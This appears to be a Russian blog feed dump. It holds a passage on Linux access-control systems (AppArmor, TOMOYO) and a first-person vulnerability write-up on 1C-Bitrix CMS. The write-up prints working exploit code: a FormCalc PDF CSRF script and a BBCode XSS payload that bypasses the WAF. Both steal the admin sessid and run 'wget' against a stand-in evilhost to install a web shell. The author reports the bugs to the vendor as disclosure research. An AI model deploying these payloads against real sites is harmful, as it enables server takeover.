<p>Проект <strong>RSBAC</strong>, реализующий мандатный и ролевой механизмы доступа, уже в 2000 году вовсю использовался в защищенных дистрибутивах. По сути, это среда, позволяющая создать различные модели доступа. Идея основана на публикации Маршала Абрамса и Ла Падула &laquo;Обобщенная среда для управления доступом&raquo; (GFAC, Generalized Framework for Access Control). Кроме root в ОС появляется учетка администратора безопасности, который и управляет доступом к информации. Реализовано много интересных функций: отключение Linux DAC, сокрытие процессов, JAIL, поддержка PaX, антивирусный интерфейс Dazuko, контроль ресурсов Linux и многое другое. Например, можно организовать доступ к файлу в определенные часы.</p></blockquote>
<h2 style="text-align:justify;">AppArmor</h2>
<p style="text-align:justify;">Технология <strong>Application Armor</strong> изначально разработана Immunix Inc. После того, как софтверный гигант Novell приобрел эту компанию, код открыли под лицензией GNU GPL, а затем включили в состав openSUSE. Позднее<strong>AppArmor</strong> стал доступен и в других дистрибутивах. Но когда команда Immunix покинула Novell, дальнейшее развитие проекта остановилось. И хотя в том же openSUSE поддержка <strong>AppArmor</strong> была сохранена, в дистрибутив интегрировали SELinux. В итоге начали разноситься слухи а-ля &laquo;AppArmor is dead&raquo;, что у одних вызвало радость, так как теперь все усилия можно бросить на развитие одной системы защиты, у других критику — отсутствие конкуренции еще ни к чему хорошему не приводило. Сегодня апологетом этой технологии является Canonical, разработчики которого не смотря ни на что продолжают развитие <strong>AppArmor</strong>. Так, в последних версиях добавлен механизм кэширования правил, что позволило ускорить их загрузку. Для этих же целей, и чтобы защитить сетевые сервисы на раннем этапе загрузки, часть профилей вынесли в initramfs. И главное — в Ubuntu <strong>AppArmor</strong> прикрутили к LSM (Linux Security Modules), задействовав security_path вместо vfs.</p>
<p style="text-align:justify;">Основная идея <strong>AppArmor</strong> состоит в том, что система защиты не должна быть сложной и не должна мешать. В отличие от SELinux, <strong>AppArmor</strong> не использует расширенные атрибуты и не зависит от файловой системы. Доступ к ресурсам определяется на основе профилей (profiles), которые привязаны к пути файла или каталога, причем самого файла может и не быть на момент активации профиля. Профиль разрабатывается индивидуально под каждое приложение. Хотя в этом есть и недостаток: при переносе файла в SELinux за ним полностью сохраняется контекст безопасности, в <strong>AppArmor</strong> — нет, но этого от него и не требовали. Хотя, если файл имеет два имени, и профиль блокирует доступ к одному из них, есть возможность работать с другим. Это следует учитывать. Также, если средствами SELinux можно предусмотреть несколько уровней доступа к объекту для разных субъектов, то <strong>AppArmor</strong>этого не умеет. В настоящее время созданы профили для большинства популярных серверов и приложений, поэтому наличие активного <strong>AppArmor</strong> обычно незаметно, он не создает проблем. Кроме того, в комплекте поставки идут два скрипта aa-genprof и aa-logprof, которые помогут быстро создать профиль для новой программы. Управление<strong>AppArmor</strong> производится при помощи init-скрипта, который запускает модуль ядра, инициализирует профили и монтирует псевдофайловую систему securityfs.</p>
<p style="text-align:justify;"><code>$ sudo /etc/init.d/apparmor start</code></p>
<p style="text-align:justify;">Чтобы просмотреть список загруженных профилей, достаточно считать файл /sys/kernel/security/apparmor/profiles (или запустить /etc/init.d/apparmor status); в зависимости от варианта дистрибутива Server/Desktop количество активных профилей будет различно. Сами профили хранятся в файлах (отдельно для каждого приложения) в каталоге /etc/apparmor.d и внутри содержат описание каталогов и отдельных файлов, с указанием прав доступа. Также указывается работа в сети и совместимость с другими профилями. Для упрощения задачи используются регулярные выражения. По умолчанию профили <strong>AppArmor</strong> работают в принудительном enforce-режиме. Когда сервис не может выйти за рамки установок, все попытки блокируются и фиксируются в журнале. При необходимости его можно перевести в щадящий режим complain, когда нарушения лишь фиксируются. Причем, в отличие от SELinux, где режим обучения активируется глобально, в AppArmor его можно включить для отдельного профиля. Перевести профиль в щадящий режим можно тремя способами:</p>
<ul style="text-align:justify;">
<li>указать в файле профиля flags=(complain);</li>
<li>использовать команду complain название_программы (вернуть командой enforce);</li>
<li>или глобально командой &laquo;echo 1 &gt; /sys/kernel/security/apparmor/control/complain&raquo;.</li>
</ul>
<p style="text-align:justify;">А еще профили отключаются на лету, перегружаются, в общем, полная свобода действий. Собственно, простота и привлекает в <strong>AppArmor</strong> админов, разработчиков и простых пользователей.</p>
<p style="text-align:justify;">Дополнительные профили можно найти в репозитории дистрибутива (apt-cache search apparmor), кроме того, есть онлайн-<a href="http://www.xakep.ru/post/53424/">банк</a> профилей — <a href="http://apparmor.opensuse.org/" target="_blank">apparmor.opensuse.org</a>.</p>
<p style="text-align:justify;">К слову, для ядер 2.4/2.6 существовала разработка <a href="http://trustees.sf.net/" target="_blank">Trustees</a>, реализующая ACL a-ля Novell Netware, которая в удобной форме расписывала доступ к каталогам вплоть до указания отдельных групп и пользователей и не зависела от файловой системы. К сожалению, проект заглох, а это была бы золотая середина между SELinux и <strong>AppArmor</strong>.</p>
<blockquote>
<h3>Сбиваем спесь со Skype</h3>
<p>Наверное, больше всего претензий с точки зрения безопасности у пользователя вызывает Skype. Куда только не лезет эта прога (см. статью Криса &laquo;<a href="http://www.xakep.ru/post/38543/default.asp">Skype: скрытая угроза</a>&laquo;). Описываемые технологии как раз и позволяют обезопасить себя. Забегая вперед, скажу, что пользователи уже давно нагенерировали профили для большинства популярных прог, и скайп здесь не исключение. Смотри, например, здесь: <a href="http://www.cynapses.org/tmp/apparmor/usr.bin.skype" target="_blank">www.cynapses.org/tmp/apparmor/usr.bin.skype</a>. Некоторые профили собраны в отдельном пакете — apparmor-profiles. Но профиль легко создать и самому. Для этого в комплекте идет утилита aa-genprof (или просто genprof). Запускаем ее с указанием исполняемого файла в качестве параметра:</p>
<p><code>$ sudo aa-genprof /usr/bin/skype</code></p>
<p>Далее работаем как обычно: звоним, отсылаем сообщения, принимаем файлы, добавляем и удаляем учетки. По окончании прерываем работу в каталоге /etc/apparmor.d/usr.bin.skype. Затем перезапускаем AppArmor или просто активируем профиль в enforce-режиме:</p>
<p><code>$ sudo aa-enforce skype</code></p>
<p>Все проблемы и замечания по работе профилей AppArmor ищи в логах.</p></blockquote>
<h2 style="text-align:justify;">TOMOYO Linux</h2>
<p style="text-align:justify;">Проект <strong><a href="http://tomoyo.sf.jp/" target="_blank">TOMOYO Linux</a></strong> начат в 2003 году японской компанией NTT DATA CORPORATION как легкая реализация MAC для Linuх-ядра. Через два года лицензию изменили на GNU GPL и выложили код на SF.net. Некоторое время проект предоставлял патчи и готовые сборки ядер для разных дистрибутивов. Но начиная с версии ядра 2.6.30, код<strong>TOMOYO Linux</strong> включен в основную ветку разработки, что уже само по себе — Событие для любого подобного проекта.</p>
<p style="text-align:justify;">В настоящее время существует две версии <strong>TOMOYO Linux</strong>. Первая версия использует оригинальные хуки, она доступна только в виде патчей и может использоваться в ядрах 2.4 и 2.6. Вторая (которая уже в ядре) адаптирована под LSM, но по функциональным возможностям уступает версии 1.х: нет поддержки сетевых функций, обработки атрибутов, POSIX-возможностей (на сайте представлена сравнительная таблица). В настоящее время соответствующие пакеты имеются в репозиториях многих дистрибутивов, но фактически поддержка заявлена пока только в Mandriva. К слову, в этом дистрибутиве предлагается и графический интерфейс Tomoyo GUI, позволяющий запустить и настроить политики приложений. Доступность в репозиториях пакетов для большинства дистрибутивов позволяет буквально в считанные минуты перевести ОС на новую систему безопасности. Например, Ubuntu 10.04:</p>
<p style="text-align:justify;"><code>$ sudo echo 'deb http://osdn.dl.sourceforge.jp/tomoyo/47128/ ./' &gt;&gt; /etc/apt/sources.list<br />
$ sudo apt-get update<br />
$ sudo apt-get install linux-ccs ccs-tools</code></p>
<p style="text-align:justify;">Если ядро собирается самостоятельно, активируй параметр &laquo;Enable different security models&raquo; и &laquo;TOMOYO Linux Support&raquo; в секции Security options.</p>
<p style="text-align:justify;">При беглом взгляде <strong>TOMOYO</strong> очень похож на AppArmor. Обе системы контролируют путь (pathname based), а правила имеют сходный синтаксис. Но есть и отличия. Так, в <strong>TOMOYO</strong> можно указать поведение программы в зависимости от того, как она запущена. Например, оболочка, запущенная через SSH, может иметь больше ограничений, чем запущенная с локальной системы. Предусмотрена проверка дополнительных параметров, с которыми включена программа, а также привилегий (UID/GUD). Приложения в терминологии <strong>TOMOYO</strong> называются доменами (domains). Конфигурационные файлы <strong>TOMOYO</strong> находятся в каталоге /etc/tomoyo, после запуска системы настройки имеют свое отражение в /proc/tomoyo, где их можно редактировать на лету. Параметры работы <strong>TOMOYO</strong>хранятся в /etc/tomoyo/profile.conf и доступны в /proc/tomoyo/profile. Именно здесь определяются режимы работы<strong>TOMOYO</strong> — disable, permissive, enforsing и learning (обучаясь, система сама строит правила). Есть и другие файлы:</p>
<ul style="text-align:justify;">
<li>manager.conf (/proc/tomoyo/manager) — программы, которые могут изменить политику в /proc/tomoyo;</li>
<li>exception_policy.conf (/proc/tomoyo/exception_policy) — исключения для политик домена;</li>
<li>domain_policy.conf (/proc/tomoyo/domain_policy) — политики домена;</li>
<li>meminfo.conf (/proc/tomoyo/meminfo) — настройка использования памяти и квот.</li>
</ul>
<p style="text-align:justify;">После установки пакета ccs-tools необходимо провести инициализацию <strong>TOMOYO</strong>, выполнив скрипт /usr/lib/ccs/tomoyo_init_police.sh, который и создаст нужные конфиги. Далее потребуется перезагрузка системы. Затем можно запускать редактор политик:</p>
<p style="text-align:justify;"><code># /usr/lib/ccs/editpolicy /etc/tomoyo/</code></p>
<p style="text-align:justify;">Еще одна немаловажная черта — <strong>TOMOYO</strong> может работать параллельно с SELinux и AppArmor.</p>
<p style="text-align:justify;">&nbsp;</p>
<br />Filed under: <a href='http://arthurbabark.wordpress.com/category/uncategorized/'>Uncategorized</a>  <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/arthurbabark.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/arthurbabark.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/arthurbabark.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/arthurbabark.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/arthurbabark.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/arthurbabark.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/arthurbabark.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/arthurbabark.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/arthurbabark.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/arthurbabark.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/arthurbabark.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/arthurbabark.wordpress.com/241/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/arthurbabark.wordpress.com/241/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/arthurbabark.wordpress.com/241/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=241&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://arthurbabark.wordpress.com/2010/10/12/%d0%b3%d0%be%d0%bd%d0%ba%d0%b0-%d0%b2%d0%be%d0%be%d1%80%d1%83%d0%b6%d0%b5%d0%bd%d0%b8%d0%b9-%d1%81%d1%80%d0%b0%d0%b2%d0%bd%d0%b8%d0%b2%d0%b0%d0%b5%d0%bc-%d0%bf%d0%be%d0%bf%d1%83%d0%bb%d1%8f%d1%80/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/4d5f0956c7f4132011a56321959fd142?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">webmaster</media:title>
		</media:content>
	</item>
		<item>
		<title>Молотком по Битриксу: выявляем 0day-уязвимости популярной CMS</title>
		<link>http://arthurbabark.wordpress.com/2010/09/22/%d0%bc%d0%be%d0%bb%d0%be%d1%82%d0%ba%d0%be%d0%bc-%d0%bf%d0%be-%d0%b1%d0%b8%d1%82%d1%80%d0%b8%d0%ba%d1%81%d1%83-%d0%b2%d1%8b%d1%8f%d0%b2%d0%bb%d1%8f%d0%b5%d0%bc-0day-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8/</link>
		<comments>http://arthurbabark.wordpress.com/2010/09/22/%d0%bc%d0%be%d0%bb%d0%be%d1%82%d0%ba%d0%be%d0%bc-%d0%bf%d0%be-%d0%b1%d0%b8%d1%82%d1%80%d0%b8%d0%ba%d1%81%d1%83-%d0%b2%d1%8b%d1%8f%d0%b2%d0%bb%d1%8f%d0%b5%d0%bc-0day-%d1%83%d1%8f%d0%b7%d0%b2%d0%b8/#comments</comments>
		<pubDate>Wed, 22 Sep 2010 18:37:20 +0000</pubDate>
		<dc:creator>webmaster</dc:creator>
				<category><![CDATA[ВЗЛОМ]]></category>

		<guid isPermaLink="false">http://arthurbabark.wordpress.com/?p=239</guid>
		<description><![CDATA[Около года назад я нашел XSS-уязвимость в продукте 1С-Битрикс, которую показал в ролике хак-видео на CC09. Прошел год, и мне стало интересно, что же изменилось в продукте с точки зрения безопасности? Напомню, Битрикс — продукт непростой, он имеет встроенный фильтр WAF, то есть для проведения большинства атак мало просто найти уязвимость, требуется еще обойти WAF. [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=arthurbabark.wordpress.com&amp;blog=5119110&amp;post=239&amp;subd=arthurbabark&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p style="text-align:justify;">Около года назад я нашел XSS-уязвимость в продукте 1С-Битрикс, которую показал в ролике хак-видео на CC09. Прошел год, и мне стало интересно, что же изменилось в продукте с точки зрения безопасности? Напомню, Битрикс — продукт непростой, он имеет встроенный фильтр WAF, то есть для проведения большинства атак мало просто найти уязвимость, требуется еще обойти WAF. А обойти его, поверь, очень нелегко&#8230;</p>
<h2 style="text-align:justify;">Предыстория</h2>
<p style="text-align:justify;">Во время чтения множества статей по безопасности и описаний уязвимостей мне всегда становится интересно, какие действия исследователя предшествовали нахождению той или иной уязвимости. Интересно лишь с одной целью — понимать, какие шаги делал исследователь, какие попытки предпринимал, что не получилось, какие средства и утилиты он использовал. Выясняя все это, можно сильно расширить свой кругозор, а нередко и просто довести до ума какие-то незавершенные идеи. Кроме того, вводные части очень разбавляют технический текст и делают его интереснее. Как говорится, &laquo;хочешь сделать мир лучше — начни с себя&raquo;, поэтому постараюсь описать весь процесс поиска уязвимостей как можно более подробно.</p>
<p style="text-align:justify;">А началось все с Форба, который как всегда ненавязчиво предложил написать образцовую статью на тему взлома CMS. На тот момент у меня была только одна заготовка — идея использования атрибута filesize для hijacking в Internet Explorer. Это была действительно сырая идея,  хотя и <a href="http://seclists.org/fulldisclosure/2010/Apr/288" target="_blank">пришлась по нраву Дэну Камински</a>. В любом случае, на добротную статью этого явно не хватало.</p>
<p style="text-align:justify;">Пообещав Форбу ответить до вечера, я попробовал использование атрибута filesize в демо-версии Internet Explorer 9. Разработчики обещали поддержку формата SVG в тэге IMG, и, надеясь, что filesize будет определяться не только от SVG, но и от любого другого XML, можно было заюзать его для определения размера любых XML-ответов веб-приложения, что уже очень немало. Но, к сожалению, фортуна повернулась мягким местом, и filesize от XML всегда возвращал 0. Твердо решив написать новую и интересную статью, я стал просматривать веб-приложения, которые было бы интересно исследовать. Одним из первых в этом списке был 1С-Битрикс, на котором я и остановился. К слову, Битрикс — очень интересный движок, непростой, проверенный аудиторами, имеющий встроенные механизмы защиты от проведения атак. На эти механизмы есть сертификат по &laquo;соответствию требованиям Web Application Firewall Evaluation Criteria международной организации Web Application Security Consortium&raquo;, кроме того, система имеет сертификат ФСТЭК по классу защиты от несанкционированного доступа. Так что исследование обещало быть интересным. Последний раз до этого я интенсивно изучал Битрикс версии 8.0.5 на CC09, где предлагалось обойти фильтр WAF, который препятствует проведению атак. На момент написания статьи актуальной версией была 9.0.3, которая, ко всему прочему, обзавелась новым механизмом защиты — &laquo;веб-антивирусом&raquo;. Загрузив последнюю версию движка с официального сайта, я принялся за работу.<span id="more-239"></span></p>
<h2 style="text-align:justify;">Первый баг — колом!</h2>
<p style="text-align:justify;">Первым делом я решил провести проверку системы ручным способом, просто щелкая по менюшкам и изучая функционал. Буквально сразу обратил внимание на BB-тэги, которые можно было использовать во встроенном редакторе при написании сообщений на форум, блог или комментарии. Чтобы проверить, как BB превращаются в нормальные HTML-тэги, и что при этом фильтруется, я создал сообщение, куда поместил все тэги с разными спецсимволами, как в значениях, так и на месте атрибутов. Отправив такое сообщение на свой форум в Битриксе, я принялся рассматривать полученный HTML-код. Удивление пришло, когда кусок кода страницы в явном виде показал XSS. Это был самый банальный и самый изъезженный XSS при обработке:</p>
<p style="text-align:justify;"><code>[URL=a' attribute='blabla']XSS[/URL]</code></p>
<p style="text-align:justify;">Ради спортивного интереса посмотрел на часы — прошло четыре минуты с начала &laquo;исследования&raquo;. Оставив такой вектор атаки на потом, про себя заметил, что придется еще обходить фильтр WAF, который не пропустит наивные попытки записать атрибут onload, style, onmouseover и другие классические атрибуты при эксплуатации уязвимости.</p>
<h2 style="text-align:justify;">Второй акт</h2>
<p style="text-align:justify;">Продолжив бессистемное изучение функционала движка, я проверил еще несколько догадок, и все они оказались безуспешными. Кроме того, заметил странную особенность — при отправке запросов к системе от администратора, данные из них не фильтруются WAF. Сначала мне даже показалось, что &laquo;проактивная защита&raquo; просто не срабатывает. Недолго думая, я сразу написал письмо разработчикам Битрикс, которые очень заботятся о безопасности системы и всегда быстро отвечают на мои письма. Как разъяснили разработчики, запросы, посылаемые от администратора и содержащие дополнительный защитный параметр sessid, не фильтруются WAF. Это и логично — в  системе ведь присутствуют администраторские утилиты выполнения SQL-запросов и PHP-кода, а если фильтровать их через WAF, они просто не будут работать. Стоп! Выполнение PHP-кода возможно сразу из админки, официально, ничего придумывать даже не надо, просто провести атаку CSRF, и вот он — веб-шелл! Таким образом, мне оставалось только обойти WAF, чтобы провести атаку типа &laquo;XSS+CSRF+WAF by pass&raquo; и получить веб-шелл. Настроение сильно улучшилось <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> .</p>
<h2 style="text-align:justify;">Техническая PDFержка</h2>
<p style="text-align:justify;">Перебирая разные параметры в движке, я хотел было уже закончить поиски уязвимостей и перейти к изучению защиты WAF. Но тут очередь дошла до модуля &laquo;Техническая поддержка&raquo;. Пользователю предоставлялась возможность создавать обращения к техперсоналу с описанием своих проблем. К каждому тикету можно прикрепить файл. Не задумываясь о последствиях, я создал новый тикет и прикрепил к нему произвольный файл, который по случаю оказался PDF-документом. Затем перелогинился от администратора и посмотрел, что же отобразится в журнале заявок. Вся фильтрация работала на ура, но вот документ&#8230;</p>
<p style="text-align:justify;">Щелкнем по ссылке с документом — его контент отобразился плагином Adobe Acrobat прямо в браузере на домене подопытного Битрикса. Тут что-то щелкнуло в голове, и память (уже нейронная, а не оперативная) принесла информацию о том, что внутри PDF может содержаться исполнимый JavaScript. Все срасталось — браузер, cookies, нужный домен, JavaScript. Теперь уже вектор стал совершенно очевиден: надо научить PDF выполнять GET- и POST-запросы к серверу, тогда мы получаем CSRF в чистом виде, а затем, опять-таки, веб-шелл. Здесь &laquo;проактивная защита&raquo; или WAF уже никак не помешает — ведь контент PDF-документа ей не по зубам. Спортивный интерес опять побудил посмотреть на часы — прошло три с половиной часа с начала работы.</p>
<h2 style="text-align:justify;">PDF CSRF Exploit</h2>
<p style="text-align:justify;">Теперь уже идея использовать PDF для проведения CSRF казалась более чем хорошей. Под атаку попадала масса веб-приложений и веб-сервисов. Стоило углубиться в документацию, методы создания PDF-документов и сделать пример &laquo;вредоносного&raquo; документа. Тут меня ждали две преграды. Во-первых, PDF поддерживает JavaScript лишь отчасти, и ни о каких HTTP-запросах речи здесь быть не может. Во-вторых, Adobe Acrobat имеет встроенный механизм защиты, который спрашивает подтверждения пользователя при взаимодействии документа с сетью. Бросать такую идею совершенно не хотелось, так что изучение документации продолжилось, и очень скоро принесло свои плоды. Обнаружилось, что помимо JavaScript в PDF-документах можно использовать второй язык — FormCalc. Google помог скачать полный список функций этого зверя: <a href="http://seclists.org/fulldisclosure/2010/Apr/288" target="_blank">help.adobe.com/en_US/livecycle/es/FormCalc.pdf</a>. Самое вкусное, как всегда, оказалось в конце, и последний, десятый раздел мануала назывался коротко и ясно — &laquo;URL functions&raquo;. Содержание раздела говорило само за себя — &laquo;Get, Post, Put&raquo;. Теперь для проведения атаки необходимо было сделать PDF-документ, который бы реализовывал атаку по следующей схеме:</p>
<ol style="text-align:justify;">
<li>Отправка GET-запроса в админку по адресу targethost:6448/bitrix/admin/user_admin.php?lang=ru.</li>
<li>Обработка результата запроса, получение из него sessid.</li>
<li>Отправка POST-запроса с sessid и командой &laquo;wget http://evilhost.ru/s.txt -O shell.php&raquo; по адресу targethost:6448/bitrix/admin/php_command_line.php?mode=frame&amp;lang=ru.</li>
</ol>
<p style="text-align:justify;">На языке FormCalc такой сценарий описывался тремя строчками кода:</p>
<p style="text-align:justify;"><code>var a = Get("http://targethost:6448/bitrix/admin/user_admin.php?lang=ru")<br />
var sessid = (Substr(a,At(a,"sessid=")+7,32))<br />
Post("http://targethost:6448/bitrix/admin/php_command_line.php?mode=frame&amp;lang=ru",Concat("sessid=",sessid,"&amp;query=system%28%27wget  http://evilhost:6448/s.txt –O shell.php%27%29%3B"),"application/x-www-formurlencoded")</code></p>
<p style="text-align:justify;">Для создания PDF-документа можно было воспользоваться <a href="http://adobe.com/go/trylivecycle" target="_blank">триальной версией Adobe Livecycle Designer</a>, но дистрибутив весил целых 3 Гб. Поэтому я решил скачать готовый PDF с каким-нибудь скриптом и просто заменить текст самого скрипта. Для работы с форматом PDF нашлась прекрасная бесплатная библиотека <a href="http://itextpdf.com/" target="_blank">iText</a> под Java. Функция для замены скрипта в документе получилась такая:</p>
<p style="text-align:justify;"><code>public static void replacePDFScript(String filename, String script)<br />
{<br />
try<br />
{<br />
PdfReader reader = new PdfReader(filename);<br />
XfaForm xfa = new XfaForm(reader);<br />
Document doc = xfa.getDomDocument();<br />
NodeList list = doc.getElementsByTagName("script");<br />
list.item(0).setTextContent(script);<br />
PdfStamper stamper = new PdfStamper(reader, new FileOutputStream(filename+"_mod.pdf"));<br />
xfa.setDomDocument(doc);<br />
xfa.setChanged(true);<br />
XfaForm.setXfa(xfa, stamper.getReader(), stamper.getWriter());<br />
stamper.close();<br />
}<br />
catch (Exception e) {<br />
e.printStackTrace();<br />
}<br />
}</code></p>
<p style="text-align:justify;">Согласись, использовать сие всяко проще, чем скачивать 3 Гб платного софта. Теперь немного о том, что касается ограничений безопасности Adobe Acrobat на отправку запросов из документа. Сам PDF-документ, ясное дело, может быть открыт как через ActiveX-компонент Adobe Acrobat в браузере, так и напрямую из локального файла в окне Acrobat’а. По умолчанию все запросы, которые посылает PDF-документ, требуют подтверждения со стороны пользователя. Высвечивается окно с предложением разрешить отправку запросов с домена, на котором расположен документ. Замечу, что ограничения именно для домена отправителя, а не как это принято обычно — для домена, куда осуществляется запрос. Если же открывается локальный файл, то санкция устанавливается на имя файла, что, кстати, может быть использовано для атаки с подменой содержимого. Но вот если документ открыт через браузер, и запрос отправляется на тот же домен, на котором расположен документ, никаких ограничений безопасности не срабатывает! Такой вариант открытия документа и присутствовал в Битриксе на момент исследования. Собственно, на этом PoC-эксплоит был готов. Я зашел от имени нового пользователя в свой локальный Битрикс, на котором проводил эксперименты, создал заявку в модуле &laquo;техническая поддержка&raquo; и прикрепил к ней полученный PDF. Затем перелогинился от администратора и просмотрел заявку от пользователя, после чего открыл содержащийся в ней документ. На экране отобразился совершенно чистый белый лист, никаких предупреждений, никаких сообщений. Результат работы эксплойта красовался по адресу http://targethost:6448/bitrix/admin/shell.php.</p>
<p style="text-align:justify;">Получилась очень показательная демонстрация атаки CSRF, которая часто критически недооценивается разработчиками. Если строго подходить к классификации, уязвимость, конечно, не простая CSRF. Здесь злоумышленник может изменять заголовки HTTP-запроса, и главное — работать с ответом сервера.</p>
<h2 style="text-align:justify;">Вау, WAF!</h2>
<p style="text-align:justify;">Красивая реализация CSRF через PDF подстегнула проделать аналогичный трюк с помощью первой обнаруженной уязвимости XSS. Но для этого необходимо было обойти &laquo;проактивную защиту&raquo;, которая уже была исправлена с момента моих последних раскопок (см. статью &laquo;<a href="http://www.xakep.ru/magazine/xa/130/062/1.asp">Сказки XSSахеризады</a>&laquo;). Тут было два вектора атаки — найти способ обхода фильтрации либо существующих выражений, либо не фильтруемых. Учитывая, что первый вектор я уже исследовал и показал на СС09, решил пробиваться по второму. Тут ничего нового не придумаешь, воспользовался методами, описанными в статье &laquo;Сказки XSSахеризады&raquo; и полез в документацию на броузерные HTML. 15 минут раскопок принесли плоды — под InternetExplorer нашлись два метода onmouseenter и onmouseleave. Это аналоги фильтруемых WAF исключений onmouseover, onmouseout. То, что доктор прописал <img src='http://s2.wp.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Чтобы сделать атаку кросс-браузерной, пришлось еще немного порыться в документации&#8230; и в итоге нашелся интересный метод onselectstart, который работал и в IE, и в Chrome. Причем в случае с Chrome ивент срабатывает просто при клике, а для IE требуется еще провести по тексту, как при выделении. На этом этапе уже ничто не мешало осуществить второй вариант CSRF и, опять-таки, получить веб-шелл. К сожалению, день уже заканчивался, с момента начала исследования прошло семь часов, оформить все найденное в приличные advisory я уже не успевал, поэтому просто пошел спать.</p>
<h2 style="text-align:justify;">Антракт и третий акт</h2>
<p style="text-align:justify;">Через несколько дней удалось снова выкроить время и вернуться к исследованию движка. Первым делом был написан advisory и отправлен разработчикам. Нехитрый список уязвимостей содержал CSRF via PDF, XSS в тэге [URL] и новые методы обхода WAF. Теперь надо было написать пример для заливки шелла через две уязвимости (XSS+WAF bypass). Я знал, что WAF фильтрует не только ивенты, но и функции и переменные, которые он считает опасными, в самом JavaScript, и морально приготовился к мучительным видоизменениям кода. Логично, казалось бы, было использовать обфускатор jjencode. Но в данном случае он был неприменим из-за того, что любой символ закрывающейся квадратной скобки закрывал тэг URL, в котором была уязвимость, и отсекал весь остальной код за собой. Ну, а квадратные скобки встречаются в jjencode на каждом шагу.</p>
<p style="text-align:justify;">Поэтому пришлось идти другим путем. Логика эксплойта должна была быть следующей:</p>
<ol style="text-align:justify;">
<li>Создаем объекты iframe, form, два поля input (параметры POST sessid и query).</li>
<li>В iframe загружаем какую-нибудь страницу админки и получаем из него innerHTML.</li>
<li>Выдираем из innerHTML нашего iframe значение sessid.</li>
<li>Проставляем значение sessid в value атрибут первого объекта input.</li>
<li>Выполняем form.submit.</li>
</ol>
<p style="text-align:justify;">Единственным, что мешало написанию эксплойта со стороны системы, была фильтрация метода onload. Конечно, можно было написать конструкцию типа i[“onload”]=a, но, опять-таки, квадратные скобки не были допустимы для данной уязвимости. Пришлось снова придумывать. Придумка оказалось простой, как валенок — setTimeout(a,10000). Рассчитано на то, что содержимое iframe загрузится раньше 10 секунд, функция a сможет выдрать значение sessid. В остальном никаких хитростей применено не было. Код получился вот такой:</p>
<p style="text-align:justify;"><code>[URL=http://a' onmouseenter='var i=document.createElement("iframe");<br />
i.style.width="0px";<br />
i.style.height="0px";<br />
var p=/sessid=.{32}/;<br />
var t="";<br />
var f=document.createElement("form");<br />
f.method="POST";<br />
f.action="/bitrix/admin/php_command_line.php?mode=frame";<br />
var s=document.createElement("INPUT");<br />
s.style.visibility="hidden";<br />
s.type="text";<br />
s.name="sessid";<br />
var y=document.createElement("INPUT");<br />
y.style.visibility="hidden";<br />
y.type="text";<br />
y.name="query";<br />
y.value="system(\"wget htt\".\"p://evilhost:6448/s.txt -O s.php\");";<br />
f.appendChild(s);<br />
f.appendChild(y);<br />
function b(){t+=i.document.body.innerHTML.match(p);<br />
s.value=t.substr(7);<br />
f.submit()};<br />
i.src="/bitrix/admin/";<br />
document.body.appendChild(i);<br />
document.body.appendChild(f);<br />
setTimeout(b,10000);<br />
']НАВЕДИ НА МЕНЯ![/URL]</code></p>
<p style="text-align:justify;">У такого PoC есть два недостатка — он работает только под Internet Explorer и открывает новую страницу с результатом выполнения команды шелла (пустую, если все прошло хорошо, и шелл залился). Эти два недостатка с легкостью лечатся, но в этой статье более элегантного решения не будет дано специально. Моя цель — показать возможность проведения атаки, а не дать в руки готовый инструмент для взлома.</p>
<h2 style="text-align:justify;">Сладкое на закуску</h2>
<p style="text-align:justify;">Итак, мне удалось провести две успешные атаки самого себя и залить два веб-шелла. В завершение исследования я еще раз оглядел весь движок, по большей части для того, чтобы просто изучить функционал. Случайно наведя мышкой на надписи с именем автора записи в блоге, я увидел, что при этом открывается всплывающее окно, в котором отображается само сообщение. Это выглядело очень красиво — дизайн окошка был оформлен под облачко из комиксов. Но меня насторожило, что в этом окошке выводится также значение поля ICQ из профиля пользователя. Причем при выводе не фильтруется ни &lt; &gt;, ни ‘ “. Как же просто было при сохранении в базу ограничить поле ICQ в профиле пользователя только цифрами! Это ведь так логично! Но вместо простого решения — уязвимость. Это была третья возможность заливки шелла. В отличие от варианта с [URL] здесь можно было разгуляться — jjencode и целые тэги, а не только атрибуты. Кроме того, можно использовать уязвимости XSS для фишинг-атак. Придумывать еще один метод обхода WAF для проведения атак без участия со стороны пользователя, таких как клики и наведения мышкой, мне уже не хотелось. Быстрое исследование, которое заняло полтора дня, решено было закончить, а обнаруженная уязвимость также ушла разработчикам.</p>
<h2 style="text-align:justify;">Финал</h2>
